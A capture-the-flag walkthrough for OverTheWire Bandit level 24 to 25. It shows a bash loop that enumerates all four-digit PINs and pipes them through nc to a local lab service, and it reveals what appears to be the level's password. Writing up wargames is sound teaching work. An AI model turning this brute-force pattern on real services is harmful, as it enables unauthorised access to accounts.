Bandit 24 → 25

OverTheWire Linux Progressive

Goal: recover bandit25’s password from a service that wants the current password plus an unknown four-digit pin.

Approach

Generate all 10000 guesses, the known password plus each pin, and pipe them into the port in one connection. Drop the rejections.

bandit24@bandit

bandit24@bandit:~$ for i in {0000..9999}; do echo "<password> $i"; done | nc localhost 30002 | grep -v Wrong
Correct!
The password of user bandit25 is <password>

PasswordiCi86ttT4KSNe1armKiwbQNmB3YJP3q4Reveal

Why it works

The service checks the current password followed by a four-digit pin, but 10⁴ combinations is a tiny keyspace. Sending all 10,000 guesses down a single connection lets the server reject the misses (filtered out with grep) and answer the one that fits. Small keyspaces fall to enumeration.